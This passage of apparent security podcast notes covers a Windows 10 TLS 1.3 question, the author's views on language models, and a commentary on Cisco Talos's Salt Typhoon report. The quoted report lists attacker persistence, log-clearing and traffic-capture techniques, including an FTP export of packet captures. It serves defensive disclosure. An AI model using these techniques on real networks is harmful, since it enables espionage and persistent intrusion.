The new code is able to benchmark the performance of IPv4, IPv6, DoH and DoT DNS resolvers either side-by-side or per-protocol. It works beautifully across all of the mainstream resolvers hosted by Cloudflare, NextDNS, Google, Quad9 and others. But I noticed that while it works on the European Union's new DNS4EU **DoT** resolvers, it shows their **DoH** resolvers in "red" – so it thinks there's some critical problem with them – and won't benchmark those.

To make sure they work at all from where I am in the US, I configured Chrome to use DoH for its webpage DNS, while I used Wireshark to monitor the machine's network interface for traffic being sent to the two IPv4 and two IPv6 IP addresses for that resolver's URL. Everything worked with Chrome using the DNS4EU resolver for DoH name resolution. That told me that DoH name resolution **was** working and available in the US with those DNS4EU resolvers... which meant that something was not working with the Benchmark.

One thing Wireshark showed me which was different between what Chrome was doing and what the Benchmark was doing, was that Chrome was using TLS v1.3, whereas the DNS Benchmark was using TLS 1.2. Chrome brings along its own TLS protocol stack, so it can do anything it wants, whereas the DNS Benchmark uses Windows' native TLS API.

When I was originally implementing the Benchmark's TLS protocol on Windows, I noted a great deal of confusion online about whether Windows 10 offers TLS 1.3, so I needed to determine once and for all whether it might be possible for me to get Windows 10 to use TLS v1.3. I decided to see what ChatGPT had to say about this so I wrote the following prompt:

How can I use the Windows native TLS SCHANNEL API under Windows 10 to establish a TLS v1.3 connection to a remote TCP TLS v1.3 server?

Keep in mind when I'm reading its reply, that this is a general purpose Chatbot that can answer a universe of questions from why does my navel accumulate lint to how many angels can dance on the head of a pin? After thinking for 50 seconds – which is quite some time if you watch the second hand of a clock slowly circumnavigate a clock's face – and performing 4 searches and consulting 7 sources, ChatGPT replied to my question, writing:

### The short answer

You can't. Windows 10's Schannel SSP simply does **not expose TLS 1.3 in any released build**, so an SSPI client that runs entirely on Windows 10 cannot negotiate a TLS 1.3 session. The highest version the platform will offer is TLS 1.2. Microsoft's own protocol-support matrix makes this explicit:

*"TLS 1.3 is supported starting in **Windows 11** and Windows Server 2022. Enabling*



*TLS 1.3 on earlier versions of Windows is **not a safe system configuration.**"*  
[learn.microsoft.com](https://learn.microsoft.com)

The SP\_PROT\_TLS1\_3\_CLIENT constant and the newer SCH\_CREDENTIALS structure were back-ported to Windows 10 1809 for *source-compatibility*, but the underlying cryptographic engine that actually implements TLS 1.3 was never shipped in production Windows 10 builds. Insider Preview builds from 2020–2021 did contain an experimental TLS 1.3 implementation, but that code never graduated to the GA channel and is no longer available.

To me, this is an astonishingly complete and thorough response to my question which appears to have anticipated my confusion over the availability of TLS v1.3 in Windows 10 and explained why there has been some confusion over the question. And I feel as though I should reiterate that this was not a model trained on this domain. It didn't know what I was going to ask. It could just as easily have answered a question about optimal thread density in caftan robes.

Everyone's wringing their hands over AGI and questions of what it means to be conscious. The emergence of these Large Language and Large Reasoning Models is going to give cognitive scientists an entirely new realm to explore. It'll be interesting to see where that goes once we figure out exactly what we've created.

Having watched ChatGPT work for those 50 seconds to produce that answer – an answer that would have never been possible to imagine just a year ago – I've finally settled upon where I believe we are with all this, and why everyone, including me, has been so confused by this.

It's because it's confusing. There are two distinctly different things here. On the one hand we have an amazingly powerful linguistic simulation of an intelligent entity. And on the other hand, we have actually intelligent entities which produce linguistic outputs. And here's the problem: Both of these systems produce linguistic outputs and the outputs of both systems are identical. The reason for this is that the intelligent entity linguistic simulator is an incredibly good linguistic simulator. It's really good at what it does. So no one considering just its linguistic output would have any means of determining that they were not seeing the output of the authentic intelligent entity whose earlier outputs were used to train the simulator.

**But in no way** does that mean that the simulator is actually intelligent, nor is there **any** reason to believe that it is **ever** going to be. No simulation, no matter how good it is, **is** the real thing. The simulator may have been trained on the outputs of the real thing, but that is different from being the real thing. Cognitive scientists are probably falling all over themselves at the prospect of determining exactly to what degree a deep simulation of intelligence is and is not intelligence.

Consider this: Although there is admittedly an interaction between thought and language. For a truly intelligent entity, language is the means of communicating the thought. The thought is the motivation which precedes its expression in language for the sake of communication. The difference is that the linguistic simulator has **no preceding locus of thought**. It is not inspired by thought to express that preceding thought. It simply simulates the result of previous thoughts that were then expressed in language and captured for its training.

Without being unduly arrogant, I'm convinced that this is the crucial distinction that separates true thinking beings who use language as a tool, and any language models that can never be anything more than empty language shells. This by no means diminishes the value of what we have created. Having a linguistic interface to the world's stored knowledge, expressed as language, is astonishingly powerful and useful. But we are much more than that.

# How Salt Typhoon gets in

<https://blog.talosintelligence.com/salt-typhoon-analysis/>

Cisco's Talos Intelligence group have posted their full analysis of the Salt Typhoon attacks in a posting titled "Weathering the storm: In the midst of a Typhoon". I don't know whether the fact that Salt Typhoon used three of Cisco's own previous vulnerabilities has anything to do with their decision to reverse engineer Salt Typhoon, but that's what they did.

Cisco's analysis of this super-Advanced and pernicious Persistent Threat Group begins with this summary. They wrote:

*Cisco Talos has been closely monitoring reports of widespread intrusion activity against several major U.S. telecommunications companies. The activity, initially reported in late 2024 and later confirmed by the U.S. government, is being carried out by a highly sophisticated threat actor dubbed Salt Typhoon. This blog highlights our observations on this campaign and identifies recommendations for detection and prevention of the actor's activities.*

*Public reporting has indicated that the threat actor was able to gain access to core networking infrastructure in several instances and then use that infrastructure to collect a variety of information. There was only one case in which we found evidence suggesting that a Cisco vulnerability (CVE-2018-0171) was likely abused. In all the other incidents we have investigated to date, the initial access to Cisco devices was determined to be gained through the threat actor obtaining legitimate victim login credentials. The threat actor then demonstrated their ability to persist in target environments across equipment from multiple vendors for extended periods, maintaining access in one instance for over three years.*

*A hallmark of this campaign is the use of living-off-the-land (LOTL) techniques on network devices. It is important to note that while the telecommunications industry is the primary victim, the advice contained herein is relevant to, and should be considered by, all infrastructure defenders.*

*No new Cisco vulnerabilities were discovered during this campaign. While there have been some reports that Salt Typhoon is abusing three other known Cisco vulnerabilities, we have not identified any evidence to confirm these claims. The vulnerabilities in question are listed below. Note that each of these CVEs have security fixes available. Threat actors regularly use publicly available malicious tooling to exploit these vulnerabilities, making patching of these vulnerabilities imperative.*

*Therefore, our recommendation — which is consistent with our standard guidance independent of this particular case—is always to follow best practices to secure network infrastructure.*

- *CVE-2018-0171 - Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability (Last Updated: 15-Dec-2022)*
- *CVE-2023-20198, CVE-2023-20273 - Multiple Vulnerabilities in Cisco IOS XE Software Web UI Feature (Last Updated: 1-Nov-2023)*
- *CVE-2024-20399 - Cisco NX-OS Software CLI Command Injection Vulnerability (Last Updated: 17-Sep-2024)*

The fact that a vulnerability Cisco fixed back in 2018 was successfully used by Salt Typhoon, or anyone for that matter, to penetrate a major telecommunications vendor in 2024 is difficult to explain away. By 2024 the patch for a 2018 vulnerability would have been six years old. So Cisco gear from before 2018 had been sitting without anyone considering its need for updating for all that time. And would you like to guess the CVSS score of that now seven year old vulnerability CVE-2018-0171? Believe it or not, at the time it achieved a whopping CVSS of 9.8!

This is why I stated earlier that our current system of relying upon the timely – or any – post sales maintenance of equipment on a security perimeter is fundamentally broken. Web servers are certainly not permitted to be using any certificate that expired six years before. But critical networking gear is allowed to continue operating month after month and year after year with effectively expired firmware containing critical, known, CVSS 9.8 vulnerabilities.

So what different activities did Cisco observe on the part of these threat actors, known to be the Chinese state-sponsored Salt Typhoon?

**Credential use and expansion.** They wrote:

*The use of valid, stolen credentials has been observed throughout this campaign, though it is unknown at this time exactly how the initial credentials in all cases were obtained by the threat actor. We have observed the threat actor actively attempting to acquire additional credentials by obtaining network device configurations and deciphering local accounts with weak password types—a security configuration that allows users to store passwords using cryptographically weak methods. In addition, we have observed the threat actor capturing SNMP, TACACS, and RADIUS traffic, including the secret keys used between network devices and TACACS/RADIUS servers. The intent of this traffic capture is almost certainly to enumerate additional credential details for follow-on use.*

Then there's **Configuration exfiltration:**

*In numerous instances, the threat actor exfiltrated device configurations, often over TFTP and/or FTP. These configurations often contained sensitive authentication material, such as SNMP Read/Write (R/W) community strings and local accounts with weak password encryption types in use. The weak encryption password type would allow an attacker to trivially decrypt the password itself offline. In addition to the sensitive authentication material, configurations often contain named interfaces, which might allow an attacker to better understand the upstream and downstream network segments and use this information for additional reconnaissance and subsequent lateral movement within the network.*

And **Infrastructure pivoting:**

*A significant part of this campaign is marked by the actor's continued movement, or pivoting, through compromised infrastructure. This "machine to machine" pivoting, or "jumping," is likely conducted for a couple of reasons. First, it allows the threat actor to move within a trusted infrastructure set where network communications might not otherwise be permitted. Additionally, connections from this type of infrastructure are less likely to be flagged as suspicious by network defenders, allowing the threat actor to remain undetected.*

*The threat actor also pivoted from a compromised device operated by one telecom to target a device in another telecom. We believe that the device associated with the initial telecom was*

*merely used as a hop point and not the intended final target in several instances. Some of these hop points were also used as a first hop for outbound data exfiltration operations. Much of this pivoting included the use of network equipment from a variety of different manufacturers.*

And finally, **Configuration modification**:

*We observed that the threat actor had modified devices' running configurations as well as the subsystems associated with both Bash and Guest Shell. (Guest Shell is a Linux-based virtual environment that runs on Cisco devices and allows users to execute Linux commands and utilities, including Bash.)*

*Running configuration modifications included:*

- *Loopback interface IP address modifications*
- *GRE tunnel creation and use*
- *Creation of unexpected local accounts*
- *ACL modifications*
- *SNMP community string modifications*
- *HTTP/HTTPS server modifications on both standard and non-standard ports*

*Shell access modifications included:*

- *Guest Shell enable and disable commands*
- *Started SSH alternate servers on high ports for persistent access, such as sshd\_operns (on port 57722) on underlying Linux Shell or Guest Shell*
  - */usr/bin/sshd -p X*
- *Created Linux-level users (modification of "/etc/shadow" and "/etc/passwd")*
- *Added SSH "authorized\_keys" under root or other users at Linux level*

Yikes! So it's no surprise that these threat actors were able to obtain and maintain persistence within someone's network. If you have network machines that no one has bothered to maintain for six years containing a persistent and lingering CVSS 9.8 vulnerability which provides a means for gaining remote entry, and if that system is powerful enough to host a Linux-based virtual environment where it's possible for an attacker to modify access control list rules, start HTTP servers on non-standard ports and fire up SSH servers on high ports ... it would be more surprising if they **did not** obtain a permanent presence within the victim's network.

It's just horrifying.

And I get it that Cisco wants to paint the best picture of this that they can. That's only natural. But they and others have enumerated a total of four vulnerabilities that were used by these Salt Typhoon attackers. So far, I've only talked about the oldest one. It created a six-year window of vulnerability for any of these Cisco devices that had been setup before 2018, configured then promptly forgotten and left to fend for themselves – without having any ability to do so.

But even though this flaw from 2018 carried a heart-stopping CVSS of 9.8, believe it or not, it was not the worst. Having a six-year window of opportunity is not good, but all an attacker needs is for that window to still be open when they come knocking. So the fact that one of the other CVE's associated with these Salt Typhoon attacks was only discovered in 2023 in no way diminishes its severity. So long as it was present at the time of the attacks, in 2024, that's all



the attackers need. And what CVSS score do you imagine it carries? Would you believe that Cisco's CVE-2023-20198 has been assigned that rarest of rare CVSS of 10.0? That's right. It's a 10.0 because it cannot get any worse. And this is a CVSS for a piece of networking gear that's inherently on the front lines, is exposed to bad guys and, being a set-and-forget appliance, will tend not to be on anyone's maintenance and update radar.

As I said earlier, the industry's "we're doing the best we can" and "this is the only thing we can think of" model of after-sales security maintenance is inherently and badly broken. There's a chain of responsibility that requires everyone to perform perfectly. Cisco needs to not ever make a mistake and once sold and deployed anything that's ever found to be wrong with one of their devices needs to be immediately repaired in the field. But this chain is inherently brittle with everything working against it. Mistakes happen. Entropy is real. So mistakes are always trying to happen. And Cisco is going to ship mistakes. Technicians in the field are always going to appear to have better things to do than to continually run through the operating versions of the firmware of every device they have, every time an update is made available, for the sole purpose of keeping them all up to date, especially when the updates that really are critical may be much fewer and rarer. So there is inherently pressure to "set it and forget it" even though doing that means that anything that's later found to have slipped past Cisco's testing and quality control will tend to persist in the field.

This podcast has been around for a while. So you might imagine that something like a CVSS of 10.0 might have come to our attention back in 2023 and that I might have believed that this audience should be informed of it. And sure enough, podcast number #945 which Leo and I delivered on October 24th, 2023 was titled *"The Power of Privilege."* and among the summary items at the top of the show was: *"Vulnerabilities with a CVSS score of 10.0 are blessedly rare, but today the industry has another."* During the coverage of this a little over 18 months ago, I noted that this was one of those horrific web management UI authentication bypass vulnerabilities and that this meant it could be scanned for. And scanned for, it was. At the moment of its announcement, around 42 thousand instances of this Cisco web UI were found to be online and vulnerable. But that number dropped with surprising speed. This was not because the techs at the world's telecom companies were all on the ball and promptly responding to the emergency. No. The numbers of vulnerable Cisco devices were observed to drop precipitously because the bad guys – like Salt Typhoon, we now know – who **were** all on the ball scanned, located, immediately climbed inside, said *"thank you very much, see you later"* and shut the door behind them – thus taking their now-compromised device off the map while they set up a persistent presence.

We often talk about these vulnerabilities in the abstract, as we did just over a year and a half ago in this instance, because that's all we have – abstraction. It's not often that we're able to follow up with a *"whatever happened with that horrific 10.0?"* But today we can, because many security researchers, including Cisco's own Talos group, have identified that event, a little over 18 months ago, as one of the principal ways China's Salt Typhoon malicious hacking group obtained access to the networks of many domestic US and foreign companies' networks.

We now know what a disaster has ensued from that event, and given the 42 thousand initially vulnerable networks scale of this, it's also clear why no one can be really certain that Salt Typhoon has been completely expunged from every network they penetrated. There are just too many of them. And they weren't all just telecom companies.

The other significant thing we learn from Cisco's Talos after-action report is the surprising power of the devices that were found to be infected. And that the bad guys knew how to leverage that power to their benefit.

In their report's section describing the commands that were observed or logged to have been executed, they list:

*Packet capture: The threat actor used a variety of tools and techniques to capture packet data throughout the course of the campaign, listed below:*

- *Tcpdump – Portable command-line utility used to capture packet data at the underlying operating system level.*
- *Tpacap – Cisco IOS XR command line utility used to capture packets being sent to or from a given interface via NETIO at the underlying operating system level.*
- *Embedded Packet Capture (EPC) - Cisco IOS feature that allows the capture and export of packet capture data.*
  - *Monitor capture CAP export ftp://<ftp\_server>*
  - *Monitor capture CAP start*
  - *Monitor capture CAP clear*

They list some command samples which includes: *Monitor capture export ftp://<ftp\_server>*

When I talked about the concerning power of the Cisco devices the attackers had access to, this is what I meant. The operating systems of these Cisco devices support the installation of a tap into network interfaces which then monitors, captures and exports the intercepted network traffic to any external FTP server. It would be difficult to invent a scenario that was worse than this. If this appeared in the plot of some network hacking movie I'd raise my eyebrows and think *"oh, yeah ... right."* But the attackers were observed to be using those commands on Cisco's compromised gear. It's no wonder the title of this Talos disclosure was *"Weathering the Storm."*

To give a deeper sense for the sophistication of Salt Typhoon, Cisco describes a custom utility they discovered that Salt Typhoon had created just for this purpose. Under the heading *"Operational utility (JumbledPath)"* they explain:

*The threat actor used a custom-built utility, dubbed **JumbledPath**, which allowed them to execute a packet capture on a remote Cisco device through an actor-defined jump-host. This tool also attempted to clear logs and impair logging along the jump-path and return the resultant compressed, encrypted capture via another unique series of actor-defined connections or jumps. This allowed the threat actor to create a chain of connections and perform the capture on a remote device. The use of this utility would help to obfuscate the original source, and ultimate destination, of the request and would also allow its operator to move through potentially otherwise non-publicly-reachable (or routable) devices or infrastructure.*

*This utility was written in GO and compiled as an ELF binary using an x86-64 architecture. Compiling the utility using this architecture makes it widely useable across Linux operating systems, which also includes a variety of multi-vendor network devices. This utility was found in actor configured Guestshell instances on Cisco Nexus devices.*

You know, we're really talking about full penetration here. And what's more chilling is that there's really no way to know where these guys might still be.

Salt Typhoon also invested in bypassing and evading any defenses. Talos explained:

*The threat actor repeatedly modified the address of the loopback interface on a compromised switch and used that interface as the source of SSH connections to additional devices within the target environment, allowing them to effectively bypass access control lists (ACLs) in place on those devices. The threat actor routinely cleared relevant logs, including .bash\_history, auth.log, lastlog, wtmp, and btmp, where applicable, to obfuscate their activities. Shell access was restored to a normal state in many cases through the use of the "guestshell disable" command. The threat actor modified authentication, authorization, and accounting (AAA) server settings with supplemental addresses under their control to bypass access control systems.*

In other words, they really knew their way around this entire Cisco environment. It would be fascinating to have something we'll likely never see, which would be the Salt Typhoon side of this. Did they discover or learn of this Cisco CVSS 10.0 vulnerability then immediately jump on it, crawl inside, close the door behind them, and only then tool-up and hone their expertise to this level on these devices? Or were they already fully equipped with this level of knowledge?

My guess, knowing Salt Typhoon, is that it would be the latter. I suspect they were already well versed in Cisco exploit operations having had many previous opportunities to crawl around individual networks on a much smaller scale. Then, when this motherload of a publicly exposed 10.0 login authentication bypass fell into their lap they already knew exactly what to do. It was only a matter of identifying victims and doing it all quickly enough.

Under the topic of "*Detection*" Talos said:

*We recommend taking the following steps to identify suspicious activity that may be related to this campaign:*

- *Conduct comprehensive configuration management (inclusive of auditing), in line with best practices.*
- *Conduct comprehensive authentication/authorization/command issuance monitoring.*
- *Monitor syslog and AAA logs for unusual activity, including a decrease in normal logging events, or a gap in logged activity.*
- *Monitor your environment for unusual changes in behavior or configuration.*
- *Profile (fingerprint via NetFlow and port scanning) network devices for a shift in surface view, including new ports opening/closing and traffic to/from (not traversing).*
- *Where possible, develop NetFlow visibility to identify unusual volumetric changes.*
- *Look for non-empty or unusually large .bash\_history files.*
- *Additional identification and detection can be performed using the Cisco forensic guides.*

None of this is surprising, it's all very generic. But something in their next section under "*Preventative measures*" caught my eye. The first item on Cisco's list of preventative measures is: "*Leverage Cisco Hardening Guides when configuring devices*". The fact that there's a "*hardening guide*" suggests that, even today, Cisco still doesn't get it. It would be like, ten years ago, Cisco's "*Hardening Guide*" saying: Be sure to delete the default admin credentials shipped with your Cisco device. As we'll recall, Cisco was once actually doing that once upon a time.

In other words, there should **not** be any guide for hardening a device. The only guide available should be for optionally loosening a device's security. It ought to be **difficult** and require deliberate work to make any such device insecure. There should never be official advice to "*Leverage Cisco Hardening Guides when configuring devices*" We know people won't. And how do we know? Because people don't and haven't.

Talos' report finishes with an "Analyst's comments" section. This should be interesting. They write:

*There are several reasons to believe this activity is being carried out by a highly sophisticated, well-funded threat actor, including the targeted nature of this campaign, the deep levels of developed access into victim networks, and the threat actor's extensive technical knowledge. Furthermore, the long timeline of this campaign suggests a high degree of coordination, planning, and patience—standard hallmarks of advanced persistent threat (APT) and state-sponsored actors.*

*During this investigation, we also observed additional pervasive targeting of Cisco devices with exposed Smart Install (SMI) and the subsequent abuse of CVE-2018-0171, a vulnerability in the Smart Install feature of Cisco IOS and Cisco IOS XE software. This activity appears to be unrelated to the Salt Typhoon operations, and we have not yet been able to attribute it to a specific actor. The IP addresses provided as observables are associated with this potentially unrelated SMI activity.*

*Legacy devices with known vulnerabilities, such as Smart Install (CVE-2018-0171), should be patched or decommissioned if no longer in use.*

Yes, wouldn't it be nice if that **was** the world we were living in. Again, all of our real world experience informs us that it's not. Talos wrote:

*Even if the device is a non-critical device, or carries no traffic, it may be used as an entry door for the threat actor to pivot to other more critical devices.*

*The findings in this blog represent Cisco Talos' understanding of the attacks outlined herein. This campaign and its impact are still being researched, and the situation continues to evolve. As such, this post may be updated at any time to reflect new findings or adjustments to assessments.*

So we've achieved an unfortunate bit of closure regarding a very serious Cisco flaw that woke up the entire security world a little more than 18 months ago. At the time we covered this I wrote:

*The first known instances of attacks against Cisco's IOS XE-based routers and switches, which appear to have been initial proof-of-concept probing incursions, occurred at the end of last month on the 28th. Then more than three weeks passed before Cisco finally released the first fixes last Monday, October 16th. During those the intervening three weeks more than 42 thousand of Cisco's IOS XE-based devices were compromised. We know that it was 42 thousand devices because scanners were quickly created by security firms who wanted to track incursions. And in response to the visibility of their initial implants, the perpetrators of these attacks updated their malware to make it less visible.*

And now we know at least some of what became of those devices. China's Salt Typhoon group assessed their massive inventory of access, discovered that they were now inside the networks of the world's telecom providers, not to mention some large ISPs and even Digital Realty one of the largest cloud providers, then began taking advantage of their newfound access for espionage and spying.



Are they gone? Have all 42 thousand instances of their intrusion been found and removed? Given everything we know of the way today's networks are being managed, that is not a bet I would take.

Every listener of this podcast knows that I always draw a clear distinction between mistakes and policies. Mistakes happen but policies are deliberate. In this case I must take issue with Cisco's deliberate design – and design is policy – of its crucial web management interface. We know for a fact that some 41 to 42 thousand instances of their XE-class devices had web management exposed globally. It should simply not be possible to expose web management globally because there is no management-defensible reason for ever allowing global access to a high-end device's public management interface. Everyone listening to this podcast also knows what a fan of simple IP filtering I am. I'm a fan because the technology is so simple and offers so much leverage.

So, sure, allow a single remote IP or several specific remote IPs, or perhaps a /24 class-C size network block to be specified for remote access. Those would allow for remote management across disjoint corporate networks. But simply don't provide any provision for access from any IP anywhere in the world. How can that possibly ever actually be necessary? Who would ever really need to allow China to access your device's management IP. Because that's what is being explicitly allowed whenever unfiltered remote access is enabled. Sure, an ACL – an Access Control List – could and should have been added to that access. And I'd bet that it says so right there in bold print in Cisco's illustrious *"Hardening Guide"*. But that's not the correct policy. What no one ever wants or needs to have happen should not be possible. It should not be possible for any lack of configuration or misconfiguration to give Chinese hackers anywhere outside of one's immediate control access to something they should not have.

I'm sure that if confronted with this, Cisco's engineers would say *"well no one should leave their web admin accessible to anyone, and we provide a very nice access control list system that allows anyone to limit that access."* Okay. Sure. But the default is wide open, and even if it wasn't, it would be possible to innocently add a wide-open rule because that would be easier. However, nothing changes the fact that there is no demonstrable need for global public access to a high-end router's admin interface, yet some 42 thousand networks were all compromised in the blink of an eye because this was Cisco's responsibility-transferring policy: *"It's not our fault if you don't follow our optional hardening guide."*

I'm reminded, Leo, of the beginning of Douglas Adams' original Hitchhiker's Guide novel, where the Earth is scheduled for demolition by the Vogon's due to the need to create an intergalactic bypass, and the novel's protagonist, Arthur Dent says *"What are you talking about? You can't just destroy the Earth!"* and he's told that all the proper notices and required paperwork had been filed with the local galactic sector office some time ago.

Similarly: *"Why are they complaining that 42 thousand of our XE-class devices were all just taken over by Chinese Military hackers? Didn't they all read the Hardening Guide we prepared?"*

-----

Next week we're going to take a deep dive into some compelling just-published research into the previously unsuspected scale of web browser fingerprinting. A group of researchers worked out a very clever system to detect the degree to which web browser fingerprinting is being successfully used and it's far greater than has been previously known or suspected. The way they determined this is fascinating.

